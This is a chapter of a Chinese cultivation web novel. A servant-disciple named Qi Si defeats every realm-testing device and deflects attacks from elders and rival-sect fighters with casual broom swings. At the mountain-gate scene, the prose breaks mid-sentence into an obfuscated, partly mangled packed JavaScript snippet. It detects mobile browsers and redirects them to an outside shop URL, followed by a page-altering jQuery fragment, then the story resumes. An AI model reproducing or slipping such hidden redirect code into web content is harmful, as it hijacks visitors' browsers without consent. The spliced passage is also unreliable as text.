劲风轰然外泄,透过半掩的门扉冲出,卷起门外地上的尘土和枯叶。齐司侧头看了一眼,只见武堂深处,一排少年正对着木桩出拳,拳影重叠,空气被打得发出低沉的闷响,靠近地面的雾被震得一圈圈散开,露出地面细密的裂纹。 “新来的?站那儿做什么,去检测境界!” 一个外门执事从门内走出,灰袍被劲风鼓起,袖口猎猎作响。他皱着眉,打量了齐司一眼——衣衫半旧,气息平平,连一点真气波动都没有。 山门旁立着一块丈许高的黑色石碑,表面纹路如同水波凝固,隐约有光在里面流转。有人正把手按上去,石碑嗡的一声轻震,一道道细小的光纹从掌心扩散开来,最终在碑面上凝成两个字:“炼体”。 轮到齐司。 他随手把衣袖往上一挽,动作懒散,像是刚睡醒还没完全清醒的人,随意把手掌按在冰凉的石碑上。 石碑内部的光纹顿了一瞬。 嗡—— 一声比刚才更低沉的震鸣从碑心传出,周围空气像被什么无形的手搅动了一下,山门上的铜铃轻轻一晃,发出一声细不可闻的叮当。 石碑表面光纹疯狂涌动,先是亮到刺眼,随即又像被什么粗暴掐灭,全部暗下去。碑面中央,缓缓浮现出四个漆黑的字: “无法识别。” 静了一瞬。 “嗯?”旁边的灰袍执事愣了一下,随即冷笑,“又一个被废的?” 他抬手在石碑上拍了两下,确认不是器物损坏,目光在齐司身上扫过,越看越嫌弃:“气息紊乱,丹田空虚……估计是哪家分堂送来的废掉弟子。核心训练组不要这种拖后腿的。” 不远处,一名白须长老正负手而立,目光原本在武堂内那些拳风呼啸的弟子身上游走,被这边动静吸引,瞥了一眼石碑上的字,眉头微皱。 “无法识别?又来了一个。”他哼了一声,语气淡淡,“既然修为被废,就去杂役堂吧,别占着名额。” 灰袍执事立刻应声,抬脚在齐司小腿上轻轻一踢,像赶一只不合格的牲口:“听见没?从这边绕过去,后山杂役堂报到。核心训练组没你位置。” 齐司被踢得晃了一下,站稳,拍了拍衣角上新沾的灰,眼皮都懒得抬。 “行。”他随口应了一声,像是有人刚让他去前院搬两桶水。 绕过山门,后山的雾更重,竹林一片墨绿。风穿过竹节,发出空洞的嗡鸣,偶尔夹杂着远处武堂传来的吼声和木桩爆裂的闷响,回声顺着石径一路滚来,在山谷间反复撞击。 杂役堂院子不大,青砖地面被来回踩得发亮,角落里堆着打碎的练功木桩,木屑散落一地,带着新鲜的树脂味。水井边几只木桶横倒,桶沿上斑驳的刀痕在日光下泛白。 齐司被随手扔了一件粗布外袍和一把竹扫帚。 “扫院子、搬水、打杂。别惹事。”管事头也不抬,只往藏书阁方向抬了抬下巴,“闲了别乱跑,最多去那边看看书,别想着练武。” 齐司接过扫帚,倚在井台边,抬眼看向远处半掩的藏书阁木门。那边静悄悄的,只有风卷过屋檐,吹动一串铜钱风铃,发出清脆的叮叮声。 他打了个不太明显的哈欠,单手拄着扫帚,随意在地上拖了一圈,尘土被慢悠悠地扫开,露出下面细小的裂纹——是前些日子哪位练拳的内劲外泄,震出来的。 “杂役就杂役吧。”他在心里嘀咕了一句,找了块阴影最大的廊下角落,准备一边象征性地扫两下,一边摸鱼看书。 廊下阴影里有股潮木味,梁柱上旧漆起了细小的泡,指甲一抠就能掉下一片。齐司把竹扫帚往柱子上一靠,自己顺势在台阶边坐下,背靠着凉凉的石柱,腿一伸一曲,姿势懒散得像是刚睡醒。 院子另一头传来一阵脚步声,鞋底拍在青砖上的节奏很快,带着点刻意压低的喘息。 “喂,就是你?”一个少年声音在廊下回响,被屋檐压得有点闷,“新来的杂役?” 齐司懒得抬头,只是把扫帚往身前一拖,象征性地在脚边扫了两下,灰尘被拨起一层薄雾,在阳光里慢慢散开。 那少年穿着外门弟子的青色短袍,腰间系着一根略显新的皮带,袖口还绣着没褪色的云纹。他下巴抬得很高,走路时脚跟先落地,带着点刻意练出来的劲道。每一步落下,青砖都轻轻震一震,尘屑从砖缝里被震出来。 “听说你从山下来的时候,把测骨纹的石碑给震裂了?”少年眯起眼,视线在齐司身上上下打量,“还把灵息镜弄成一片白光?” 齐司“哦”了一声,声音不高,像是随口应付。他把扫帚往旁边挪了挪,换了个更舒服的靠姿,后脑勺顶在石柱上,眼睛却往藏书阁那边瞟了一眼。 那边的木门半掩着,门缝里是暗沉沉的书影,像一整片安静的阴影。 “我说你,”少年往前走了两步,脚下劲道一沉,青砖边缘微微翘起一圈细碎的裂纹,“测骨纹石碑一向只会显出骨纹图谱,你一碰就显示‘无法识别’,这不是在耍我们武堂吗?” 他提起右手,指节一扣,骨节里传出一连串细密的爆响,像豆子在锅里炸开。气血从他胸膛鼓荡而出,衣袍下摆被鼓起一圈,空气里隐隐有股铁锈味。 齐司终于抬眼看了他一眼,又看了看自己脚边那圈还没扫干净的灰。 “我那时候只是想靠着石碑歇一会儿。”他解释得很敷衍,“谁知道那么脆。” “脆?”少年脸色一沉,手背青筋一跳,气息猛地拔高一截,脚下青砖边缘立刻崩出几道细小的裂缝,“那可是宗门立派以来的骨纹评定石碑!你敢说它脆?” 他猛地一甩袖,袖风鼓起,带起一股直线冲出的劲风,院中尘土被卷成一条细长的灰线,直指齐司面门。 齐司叹了口气,慢吞吞地站起来,动作像是被人从梦里叫醒。他只往旁边退了半步,脚尖轻轻一拧,避开那道灰线,顺手把扫帚往前一抬,像是怕灰尘扑到自己脸上。 竹扫帚的毛端刚好横在他身前,灰线撞上去,发出一声闷闷的“噗”。 下一瞬,那股劲道像是撞到了什么软而弹的东西,整条灰线一顿,随即反弹回去,速度比来时更快,风压卷着地面上的碎石和枯叶,直冲少年胸口。 少年脸色一变,急忙收势,双掌一合,胸前气血翻涌,硬生生把那股反弹回来的劲道压散。青砖上却已经被擦出一道浅浅的白痕,像被刀背拖过。 “你——”他盯着齐司手里的竹扫帚,眼神有点不敢置信,“你刚才用了什么身法?” “躲灰。”齐司把扫帚放下,抖了抖袖口,像是嫌刚才那阵风把衣服吹乱了,“别对着人挥来挥去,灰尘很呛。” 院角的角落里,两个同样穿青袍的外门弟子正探头探脑,其中一个压低声音:“刚才那步,像不像《折风步》里第三层的‘半影退’?” “胡说,《折风步》要有残影,他刚才连气息都没提起来。”另一个摇头,“而且你没看见吗?他脚下青砖一点痕迹都没有。” 少年脸色涨红,耳尖也泛起一层薄红。他深吸一口气,胸膛鼓起,气血在皮肤下翻滚,隐隐透出一层淡红。他脚尖一点,整个人像弓弦上蓄满的箭,气势猛地拔高。 “再来!”他低喝一声,声音在廊下回荡,震得屋檐上的灰尘簌簌往下落,“我倒要看看,你这个‘无法识别’的废人,是怎么躲的!” 他身形一闪,脚下残影连成一线,青砖表面被踏出一圈圈向外扩散的细纹,像水面被石子砸中。右拳从腰间蓄势而出,拳锋未至,前方空气已经被挤压出一道肉眼可见的凹痕,风压裹着他全身的气血,形成一股直线冲击。 齐司看着那拳过来,眼皮微微一跳,更多的是嫌麻烦。 他伸了个懒腰,背脊往后微微一弓,两肩一松,像是刚从长时间坐着的姿势里舒展开来。这个动作带动他的右臂自然下垂,手腕一抖,竹扫帚被他随手一带,扫帚杆划出一条弧线,从下往上慢悠悠地抬起。 那条弧线刚好切进少年拳势的侧面。 拳风撞上扫帚杆,发出一声沉闷的震响,像是木桩被重锤砸中。劲道在那一瞬间被迫偏转,原本直冲齐司胸口的拳力,被那条看似懒散的弧线带着,拐了个方向,顺着扫帚杆的轨迹往上翻卷。 气血在空中翻滚,形成一股向上的回流,像被人硬生生扭转的水流。那股回流的劲道沿着少年的手臂倒灌回去,他的肩膀猛地一震,眼前一黑,耳边嗡的一声,整个人被自己的拳力掀得往后仰。 他脚下连退三步,每一步落下,青砖都被踩出一个浅浅的凹坑,最后一脚甚至把砖角崩裂,碎片飞溅,擦着廊下立柱飞过去,打在远处的木桩上,发出一连串清脆的“啪、啪、啪”。 少年勉强稳住身形,脸色却已经发白,右臂微微颤抖,袖口鼓起一小块,像是内劲在皮肉下乱窜。他咬牙运气,试图把那股乱窜的劲道压下去,结果胸口一闷,喉头一甜,一口血差点涌上来,被他硬生生咽了回去。 “你……你到底是什么境界?”他声音发哑,眼神里第一次带上了几分不安。 齐司看着手里的竹扫帚,似乎在确认有没有被打断。他抬起扫帚,轻轻敲了敲地面,发出“咚、咚”的闷响,青砖表面只震起一圈细微的灰尘。 “我不是说了么,”他语气平平,“我没练武。” 院子另一头,早就有人被动静吸引过来。一个身形瘦高的中年人站在廊下阴影里,袖中藏着的手指微微一动,指尖有细小的白光一闪即逝。 他是负责外门弟子考核的执事长老,刚才正准备去武堂复查那几件“检测异常”的器物。 ——骨纹石碑:齐司触碰后,碑面骨纹全数熄灭,最终显示“数据错误”。 ——灵息镜:镜面白光充斥,连最基础的气息波动都无法锁定,最后给出的评语是“境界不存在”。 ——阵纹检测盘:阵纹自发断裂,盘面黑成一片,连“凡人”两个字都没亮起。 那一连串的“无法识别”,让他不得不亲自过来看看这个新来的杂役。 刚才那两下交手,他看得清清楚楚。 ——没有提气,没有运劲,没有任何武道功法的前置动作。 齐司的每一个动作,都像是日常生活里的随手一挥、一躲、一抖,却偏偏在对手劲道最紧绷的节点上,插进去一条看似无害的轨迹,把所有力量都拐回了对方身上。 “有意思。”执事长老低声自语,胸口气息却莫名一窒。 他下意识地运转了一下自己修炼多年的内功,想要平复刚才那一瞬间被勾起的躁意。结果内力一走周天,竟在心口处微微一滞,像是被什么看不见的东西轻轻碰了一下,原本流畅的经脉线路,生生多出一个细小的涟漪。 那涟漪顺着他的内力扩散开去,像是往平静的水面丢了一粒沙子,虽小,却让整片水面都起了微不可察的波纹。 执事长老眉心一跳,脸色在阴影里微微发白。 他刚才……只是看了两眼而已。 “你叫什么名字?”他走出阴影,声音压得很稳,却还是带出一点不易察觉的沙哑。 少年一愣,急忙躬身:“回长老,他是新来的杂役,叫齐司。” 齐司看了看来人,又看了看自己脚边的灰,觉得今天的灰有点多。 “长老,我去那边扫。”他往离人群更远的角落挪了两步,扫帚在地上拖出一道浅浅的痕迹,尘土被推成一条细线。 执事长老的视线却牢牢锁在他身上。 “齐司。”他缓缓开口,“你今日在武堂检测时,骨纹石碑为何会显示‘无法识别’?” “我不知道。”齐司很诚实,“我只是靠了一下。” “那灵息镜?” “我以为是照妖镜。”齐司回忆了一下,“就看了一眼。” “你看了一眼,它就白成那样?”执事长老眼角抽了一下。 “嗯。”齐司点头,“挺晃眼的。” 周围几个外门弟子对视一眼,神情古怪。有人忍不住低声道:“那阵纹检测盘呢?听说也坏了。” 齐司想了想:“我以为是凳子,就坐了一下。” 空气安静了一瞬。 执事长老喉结滚动了一下,胸口那股莫名的涟漪又被勾了一下。他深吸一口气,试图用多年的心法稳住心境,结果内力刚一运转,就在丹田处微微一震,像是被什么看不见的手指轻轻拨了一下。 那一下极轻,却顺着经脉往上窜,直冲眉心。他眼前一花,耳边嗡鸣,心口处的气息猛地一乱,险些在当场走火。 他骤然停功,指尖微微发抖,背后已经出了一层细汗。 ——只是听了几句对话,心境就被牵扯得差点失守。 他抬眼看向齐司,眼神复杂。 这个少年,明明站在那里,连呼吸都懒得深一点,周身却像是一个空洞,所有试图探查他的气息、境界、骨纹的手段,一旦靠近,就会被那种“空”的感觉吞掉,最后只剩下“无法识别”四个字。 “长老?”少年小心翼翼地叫了一声,见执事长老脸色不太好,“您没事吧?” 执事长老压下胸口翻涌的气血,勉强露出一个笑:“无妨。” 他看向齐司:“宗门的检测器物,暂时不必再碰。你……先在外门做杂役,扫院、搬水、看书,勿要参与任何武道比试。” 齐司眼睛一亮:“可以去藏书阁?” “可以。”执事长老点头,“但不可擅动阁中武学卷轴。” “那没事。”齐司松了口气,“我就看看字。” 他说完,像是终于得了个合理的去处,提着扫帚就往藏书阁方向走。脚步不快不慢,踩在青砖上几乎不带起什么声响,连气息都平平淡淡,像个普通得不能再普通的杂役。 只是他走过的地方,院中几个正在练拳的外门弟子,不知为何拳势都微微一乱。 有人本来一拳打出,拳风直指前方木桩,结果在齐司背影掠过他们视野边缘的那一瞬,拳头下意识地偏了一寸,打在木桩侧面,木屑四溅,劲道回流,震得他虎口发麻。 有人在练步法,脚下按着武堂传授的步伐踩点,结果齐司从旁边路过,他不由自主地跟着那懒散的步子挪了一下,原本严谨的步伐立刻乱了节奏,气息一窒,差点在原地摔个踉跄。 执事长老看在眼里,心里那点刚刚压下去的平静,再次被搅得一团乱麻。 ——这已经不是“资质异禀”可以解释的了。 他忽然有种荒诞的感觉:宗门几百年来苦心构建的武道体系,在这个看起来懒洋洋的少年面前,像是被人随手在纸上戳了个洞。 “长老?”身边一个执事小声问,“要不要把他送去内门,交给宗主亲自看?” 执事长老沉默片刻,胸口那股不安越发明显。他隐约觉得,一旦把齐司送到更高层,那些闭关多年的高阶武者,恐怕会在短时间内集体出关——不是因为悟道,而是因为心魔。 “先……观望。”他低声道,“派人暗中看着他,别让其他宗门的人先下手。” “其他宗门?”执事小声惊讶。 “骨纹石碑裂痕、灵息镜失效、阵纹检测盘黑屏,这些消息,你以为能瞒得住?”执事长老看了他一眼,“最迟三日,山下各宗门就会有人上山打探。” 他抬头看向山门方向,远处云雾翻涌,山道如一条灰白色的线蜿蜒而上。 “他们若以为这是一个‘超越境界’的天才,自然会想尽办法招揽。”执事长老喉咙有点干,“可在我看来,他根本不在我们现有的任何境界里。” “那他是什么?”执事小声问。 执事长老看着齐司的背影消失在藏书阁门后,木门轻轻一合,铜钱风铃被带起一阵清脆的响声。 “……一个能打穿所有境界的‘空’。”他低声道。 …… 藏书阁内,光线比外面暗很多。高高的书架一排排延伸出去,木头被岁月熏成深褐色,书卷上落着一层薄灰。空气里是干燥的纸墨味,混着一点陈旧的檀香。 齐司把扫帚往门后一靠,顺手在门边的地上扫了两下,算是给自己找个正当理由。他沿着书架慢慢走,指尖从一卷卷书脊上滑过,粗糙的纸面在指腹下划出一条条细微的触感。 “《外门基础拳谱》……《气血入门》……《筋骨图解》……”他随口念着书名,声音在空荡荡的阁楼里回响,带着一点懒洋洋的回声。 他对这些没什么兴趣,随手抽出一本《山下食肆录》,翻了两页,里面画着各地小吃的图样,线条简单,颜色却画得很认真。 “下山要是能去吃一圈就好了。”齐司靠在书架边,单手举着书,另一只手自然垂下,手腕轻轻晃着,像是在驱赶不知从哪儿来的困意。 就在这时,藏书阁二楼的木梯上传来轻微的脚步声。每一步都踩在木板的边缘,发出细细的“吱呀”声,却又刻意压得很轻。 一个身着灰袍的老者从楼梯上走下来,须发皆白,眼神却极亮。他的气息收敛得极好,若非刻意去感知,几乎察觉不到他身上有任何内力波动。 他是宗门的藏书阁老阁主,平日里极少露面,只有在有人擅动高阶武学时,才会出现在阁中。 “新来的?”老者目光落在齐司身上,停了一瞬。 齐司抬眼看了他一眼,又低头看书:“嗯,来扫地的。” 老者的视线往门后一瞟,看到那把竹扫帚,眼中闪过一丝了然。他缓步走近,每一步都极稳,脚下木板几乎没有发出声响。 “你刚才,在外面动手了?”老者问。 “没有。”齐司摇头,“是别人对着我挥拳,我只是躲了一下。” 老者盯着他看了几息,忽然伸出一只干枯的手,手指微微弯曲,指尖在空气中轻轻一点。 一缕极细的劲风从指尖射出,几乎没有任何声响,只在空气中带起一圈极淡的涟漪,直指齐司肩头。那劲风极其内敛,若是普通外门弟子,怕是连看都看不见,只会在下一瞬肩骨碎裂。 齐司正翻到一页画着“酱骨头”的插图,眼前那一大块油光发亮的骨头让他下意识地咽了咽口水。 肩头忽然有一丝凉意逼近,他眉心微微一皱,觉得有点痒。 他抬手去挠肩,动作懒散,手腕一抖,整条手臂像是刚睡醒一样舒展开来,五指自然张开,掌心微微一翻。 那缕极细的劲风正好撞进他掌心。 空气里“嗡”的一声极轻的震动,藏书阁里悬着的几条布幔轻轻一颤,书架上的灰尘被震起一层极细的雾。 那缕劲风在他掌心一顿,像是被什么无形的东西绞了一下,原本直线前进的轨迹被扭成一个小小的弧圈,随即原路返回。 老者眼神一变,脚下一错,整个人向旁边横移半步,衣袍下摆被那股反弹回来的劲风擦过,布料瞬间被割出一道极细的裂口,边缘卷起,露出里面更深一层的灰袍。 劲风撞在他身后的一根立柱上,木头内部发出一声闷响,表面却只出现一圈极浅的波纹,随即慢慢平复。 老者胸口一闷,喉头一甜,险些喷出一口血。他强行把那股倒灌回来的劲道压入丹田,结果丹田处气息一乱,内力像被搅成一团的丝线,顺着经脉乱窜。 他脸色瞬间惨白,额头上渗出一层细汗,眼神却死死盯着齐司的手。 ——那只是一个挠痒的动作。 齐司挠完肩,觉得那股痒意消失了,又把注意力放回书上。 “这家店的酱骨头,看着不错。”他自言自语,“下山的时候要记得路。” 老者胸口的气息翻涌得越发厉害,他咬牙运转心法,试图把那股乱窜的劲道理顺。结果心法一行,脑海里忽然闪过刚才齐司那随手一抖的手腕轨迹。 那轨迹极其简单,甚至可以说毫无章法,却偏偏在他多年苦修的内功线路上,撕开了一道细小的口子。 内力顺着那道“口子”往外泄,又被他强行拉回,来来回回之间,心境被牵扯得一阵阵发紧,仿佛有无数细小的声音在耳边低语,诱他放弃抵抗,顺着那股乱流彻底冲散经脉。 ——心魔的前兆。 老者猛地一震,强行停功,整个人靠在书架上,指尖死死抓住木头,指节发白。 “阁主!”楼上传来一声惊呼,一个灰袍弟子匆匆跑下来,“您怎么——” “无碍。”老者抬手制止,声音却有些发颤。 他看向齐司,眼神里第一次带上了几分近乎惊惧的复杂。 “你……”他艰难地开口,“不属于……任何境界。” 齐司被他看得有点莫名其妙,合上书:“那我可以继续看吗?” 老者张了张嘴,最终只吐出一句:“随你。” 他转身就走,脚步比来时快了几分,像是背后有什么东西在追他。刚一出藏书阁,他就长长吐出一口浊气,胸口那股乱流这才慢慢平复。 “阁主?”灰袍弟子小声问,“要不要把那少年逐出山门?” “逐?”老者冷笑一声,又立刻被自己胸口一阵刺痛打断,咳了两声,“若他真是祸患,你以为逐出山门,就能挡住各宗门的手?” 他抬头看向远处山道,那里已经隐约有几道陌生的气息在靠近,脚步声还未至,气血波动却先一步压上山门。 “去通知宗主。”老者低声道,“就说——武道境界的划分,怕是要重写了。” …… 山门外,几道身影缓步而来,衣袍款式各异,却都在胸口绣着各自宗门的标志。为首的是一名身着黑金长袍的中年人,眉心有一道极淡的刀疤,气息如同一柄入鞘的刀,锋芒尽敛,却让人不敢直视。 “听说你们宗门,出了个‘无法识别’的怪胎?”他脚步未停,声音已经传进山门内,“骨纹石碑裂,灵息镜盲,阵纹盘毁。嗯?” 守门弟子脸色一变,急忙行礼:“回黑刀宗长老,此事——” 话未说完,山门内忽然传来一阵极轻的“沙沙”声,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939312|192918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹扫帚在青砖上拖动的声音。 齐司提着扫帚,从山门旁的小路慢悠悠走出来,手里还拎着一个小布袋,里面隐约露出几块油纸包着的点心角。 他刚从山下回来,满脑子都是刚才那家铺子的糖酥饼。 山门外几道强横的气息在他面前一顿,空气里的压力骤然一紧,像是有几座看不见的山同时压了下来。守门弟子被那股气势压得呼吸一窒,额头瞬间冒出冷汗。 齐司抬眼看了他们一眼,又看了看自己手里的点心,觉得站在这里吃不太合适,容易掉渣。 他往旁边挪了半步,打算绕过去回藏书阁。 黑金长袍的中年人目光一凝,脚下一错,整个人如同一柄被瞬间拔出的长刀,气势陡然外放,脚下青石板在他迈步的瞬间裂出一圈蛛网般的细纹。 “站住。”他低声开口,声音不高,却带着一股不容置疑的压迫,“你就是齐司?” 齐司停下脚步,点了点头:“嗯。” 中年人眼神一沉,抬手就是一掌按出。 这一掌看似平平无奇,掌心却带着一股极其精纯的刀意,内力在掌缘凝成一圈极薄的气刃,空气被割出一道极细的痕迹,风压裹着他多年来积累的杀伐之气,直扑齐司胸口。 守门弟子脸色大变:“黑刀宗的‘无锋掌’——” 齐司看着那掌过来,眉心微微一皱——不是因为危险,而是因为那股风压正好对着他手里的点心。 他往后退了半步,脚尖轻轻一转,身体侧了侧,顺手把扫帚往前一横,像是要挡住飞来的灰尘,免得落在点心上。 竹扫帚的杆子在空气中划出一条极细的弧线,刚好擦过那道掌风的侧面。 掌风一顿,刀意在那一瞬间被迫偏转,原本直冲齐司胸口的劲道,被那条弧线带着,绕过他身侧,直奔黑刀宗长老自己伸出的手臂。 中年人眼神一变,急忙变掌为拳,试图把那股回流的劲道压散。结果掌心的刀意在半途被那条弧线扭成一团,内力线路瞬间乱成一片,顺着经脉倒灌回去。 他胸口一震,脚下连退两步,每一步落下,青石板都被踩出一个深深的脚印,石屑飞溅,山门旁的石狮子被震得“嗡嗡”作响。 黑刀宗长老脸色瞬间铁青,喉头一甜,一口血差点喷出来,被他硬生生咽回去。眉心那道刀疤隐隐泛红,像是被什么从内部撕扯了一下。 他抬头看向齐司,眼神里第一次带上了几分近乎荒诞的震惊。 ——他刚才那一掌,是收了七成力的试探,却绝对足以震死一个普通外门弟子。 而齐司,只是退了半步,抬手挡灰。 “你……”黑刀宗长老声音发哑,“用的是什么身法?” “躲风。”齐司把扫帚收回,低头检查了一下手里的点心,确认油纸上没有灰尘,才松了口气,“别对着人挥掌,很容易把吃的打掉。” 山门内外,一片死寂。 几位随行的高阶武者看着齐司手里的竹扫帚,又看了看自家长老脚下那几个深深的脚印,喉结滚动,谁也没敢开口。 山门上方,宗门的阵纹在阳光下微微发光,阵眼处的几枚灵石忽然同时一暗一亮,像是被什么莫名的力量扰动了一下。 负责看守山门阵法的阵师脸色一变,急忙掐诀探查,结果阵纹反馈回来的只有四个字—— “数据错误。” 他愣在原地,手指僵在半空。 “境界……不存在?”他喃喃自语。 山风从山道间吹过,卷起地上的尘土,在齐司脚边绕了一圈,又被他随手一挥扫帚拨散,灰尘在阳光里散开,像一层薄雾,把那些高阶武者的表情都遮得有些模糊。 灰尘刚散开,山门内侧就有人急匆匆跑来,身上还带着未散的阵纹光芒。 是内门的骨纹评定师,怀里抱着一块半人高的黑色骨碑,碑身上密密麻麻刻着骨纹脉络,像是凝固的血色雷霆。 “刚才阵眼反馈异常,掌门命我再做一遍检测。”他一落地,脚下青石板微微一沉,骨碑“嗡”的一声震起一圈暗红波纹,向四周扩散。 那波纹擦过齐司衣角时,像撞上了什么空无的东西,猛地一顿,随即在他身侧拧成一个细小的漩涡,转了半圈,又自己崩散。 骨碑上的骨纹一条条亮起,又一条条熄灭,最后只在碑心浮出一行血色小字—— “无法识别。” 评定师脸色瞬间煞白,手指在骨碑背后飞快变换印诀,骨碑上的骨纹再次翻涌,仿佛有无数细小的骨蛇在碑中游走,发出细密的“咔咔”声。 “再来。”他咬牙,额头渗出冷汗。 骨碑底部骤然伸出几道骨刺般的光柱,像锁链一样扎进地面,沿着青石板缝隙一路蔓延到齐司脚边,在他脚尖前半寸处戛然而止,像是被什么无形的界线截断。 “嗡——” 骨碑猛然一震,碑身上的所有骨纹同时亮到极致,又在下一瞬间全部熄灭,碑面一片死寂。 “数据错误。” 这次浮出的字,比刚才阵眼反馈的还要冷硬,像是被刀刻上去的。 评定师喉咙动了动,想说什么,结果骨碑忽然从他手里一滑,重重砸在地上,青石板当场裂出一条蜘蛛网般的缝隙。 齐司下意识后退半步,免得碎石溅到自己鞋上,顺手把竹扫帚往前一横,挡了挡飞起的灰尘。 那一横极其随意,像是懒洋洋地伸了个懒腰,手腕一抖,扫帚梢轻轻一颤。 空气里原本乱窜的骨纹余波,被扫帚梢带起的一缕轻风一拢,竟像被人抓住后脑勺一样,整片气流猛地一折,反向冲回骨碑。 “噗——” 评定师胸口一闷,脚下一个踉跄,整个人被自己刚才催动的骨纹反震得连退三步,背后撞在山门石柱上,石柱上刻着的阵纹被震得一阵发黑。 他脸色瞬间灰败,眼底血丝暴起,胸腔里的气血像被人硬生生倒着搅了一圈,呼吸一滞,差点当场吐血。 齐司看了他一眼,抬手用扫帚柄敲了敲自己袖子上落的灰,“别往这边晃,灰都被你带回来了。” 评定师张了张嘴,愣是没敢说话,只能死死捂着胸口,强行把乱成一团的内息压下去。 山门另一侧,负责灵息检测的弟子早就把一面半人高的铜镜搬了出来。铜镜背后刻着密密阵纹,镜面如水,隐约有灵光流转。 “齐司,你……你靠近一点。”那弟子声音发紧。 齐司本来想说算了,结果一转头,看到山门外那条下山的小道,想起镇子上的馒头铺还没关门,叹了口气,懒得多费口舌,往前走了两步。 他刚站到镜前,灵息镜镜面上的灵光就像被丢进石子的湖面,猛地炸开,层层叠叠的光纹向外扩散,又在触及他影子的一瞬间,像被什么吞噬了一样,整片镜面“唰”地一声暗了下去。 “咔——” 镜背阵纹崩裂的声音极轻,却在这一片死寂里格外清晰。 灵息镜中心浮现出一团乱成一锅粥的光点,忽明忽暗,最后勉强挤出几个字—— “境界:不存在。” “灵息:错误。” “评定:——” 最后一栏干脆只剩下一道长长的横线,像是整个评定系统被人一掌拍断了。 那弟子手心全是冷汗,指节发白,死死抓着镜框,生怕它当场炸开。 齐司看着那面镜子,觉得自己影子被照得有点丑,往旁边挪了半步,顺手抖了抖手腕,像是活动关节。 他这一抖,袖口带起一阵极轻的风,风从镜面掠过,把镜面上残存的几缕灵息波纹一带,整面镜子像被人从中间拧了一下,镜面水纹般扭曲,随后“啪”的一声,镜面上浮着的所有光纹全部碎裂,化作无数细小光屑,逆流着冲进镜背阵纹里。 “噗——” 那弟子闷哼一声,眼前一黑,整个人被自己镜中回流的灵息震得跪在地上,双手撑地,肩膀止不住地发抖,胸腔里的内劲乱成一团,怎么压都压不住。 他抬头看向齐司的背影,眼里满是惊惧。 “我什么都没干。”齐司把扫帚往肩上一扛,语气平平,“你们自己镜子不结实。” 山门上方,原本平稳运转的护山大阵忽然一颤,阵纹深处传来一声极轻的“咔嚓”,像是某个看不见的枢纽被扭歪了一线。 负责总阵的老阵师远在后山阵堂,正盘膝而坐,双手按在阵盘上,眉心紧锁。 阵盘上代表各个境界的光点此刻一片混乱,本该从炼体、淬骨、开脉一路往上排列的层级,被一道突兀的黑线硬生生割裂,黑线之上空空如也,黑线之下所有光点都在微微颤抖。 “境界链……断层?”老阵师喉咙发干,手指微微发抖。 他试图沿着那道黑线往上探查,却发现那一片像是彻底空白,连“无”都谈不上,只要神识一靠近,就会被反弹回来,带着一股莫名的钝痛。 “是谁在山门——” 他话还没说完,阵盘中央忽然跳出一行血红小字—— “源头:无法识别。” 老阵师呼吸一滞,心口猛地一抽,胸腔里的真元像被人从后背一把抓住,狠狠一扯,差点当场走火。 山门下,几位随行的高阶武者终于反应过来,有人咬牙上前一步,拱手道:“齐司师弟,掌门有令,请你入宗门内堂,再做一次详细检测。” 他声音尽量放缓,语气里却压不住的紧绷。 齐司看了看天色,又看了看山门外的下山小道,想了想镇子上那家卤肉铺这会儿应该刚出锅,鼻尖仿佛都能闻到那股热气腾腾的香味。 “我下山买点吃的。”他把扫帚往门外一指,“你们要检测,就等我吃完回来再说。” 那高阶武者脸色一僵,刚想再劝,旁边另一个性子急的已经忍不住,冷哼一声,脚下一踏。 “轰——” 青石板瞬间炸开一圈裂纹,他整个人如离弦之箭,身形一晃,残影拉出一条长长的灰影,掌心真元翻涌,空气被他掌势压得一层层塌陷,直直朝齐司背影拍去。 掌力未至,山门内外的风就被这一掌牵动,倒卷而来,卷得门楣上的灰尘簌簌落下。 齐司听见背后风声,眉头微微一皱,主要是觉得灰又要落到自己头上了。 他懒得转身,只是往旁边随意一挪,退了半步,顺手把肩上的扫帚往后一抬,像是想挡挡落下来的灰尘。 那一抬极慢,极松散,扫帚梢在空中划出一道看似漫不经心的弧线,恰好从那高阶武者掌锋的下方掠过。 掌力轰然落下,撞在那道轻飘飘的弧线上,像是猛虎扑进了一片看不见的水面。 “嗡——” 一声低沉的震鸣在空气里炸开,掌力被那随手一抬的弧线硬生生折了个角度,整股劲道像被人拧住脊梁骨,猛地一折,沿着武者自己的手臂倒灌回去。 那高阶武者瞳孔一缩,只来得及发出一声闷哼,掌心传来撕裂般的剧痛,真元在经脉里疯狂逆流,像一群失控的猛兽在他体内乱撞。 “咔咔咔——” 他手臂上的骨节在一瞬间连响数声,整个人被自己那一掌的反震力道硬生生掀飞出去,在空中翻了两圈,重重砸在山门内侧的墙上。 墙上刻着的镇门石兽被撞得一震,石屑纷飞,墙面上多出一道半人深的凹痕。 他滑落在地,脸色惨白,嘴角溢出一丝血迹,胸腔里的气血翻涌得几乎要炸开,耳边全是自己心跳失序的“咚咚”声。 12. 第 12 章 齐司回头看了一眼,只看见一地的灰尘被震得扬起,正往自己这边飘,他赶紧把扫帚往前一横,轻轻一扇。 风向一变,那些灰尘乖乖绕开他,顺着山门外的风势被带下山去。 “你们打架别对着门口。”他语气淡淡,“灰都往这边跑。” 剩下的几位高阶武者脸色铁青,却谁也不敢再动手。 刚才那一瞬间,他们看得清清楚楚——齐司的动作里没有半点真元波动,没有任何武道架势,连呼吸都懒得调整,只是像普通人一样挪了半步、抬了抬手。 可就是那半步,那一抬,把一名开脉后期的全力一掌,原封不动地折回了他自己身上。 山门上方的护山阵纹再次一颤,阵眼处的几枚灵石同时暗了一瞬,像是被什么无形的力量压得喘不过气。 后方不远处,一道灰袍身影悄无声息地落在山道阴影里。 是宗门执法堂的一位长老,气息深沉,周身隐隐有一圈肉眼可见的气流环绕,脚尖轻点地面,青石板却纹丝不动,足见其内力收放自如。 他目光在地上那几个深深的脚印、墙上的凹痕、碎裂的骨碑与灵息镜上扫过,最后停在齐司背影上。 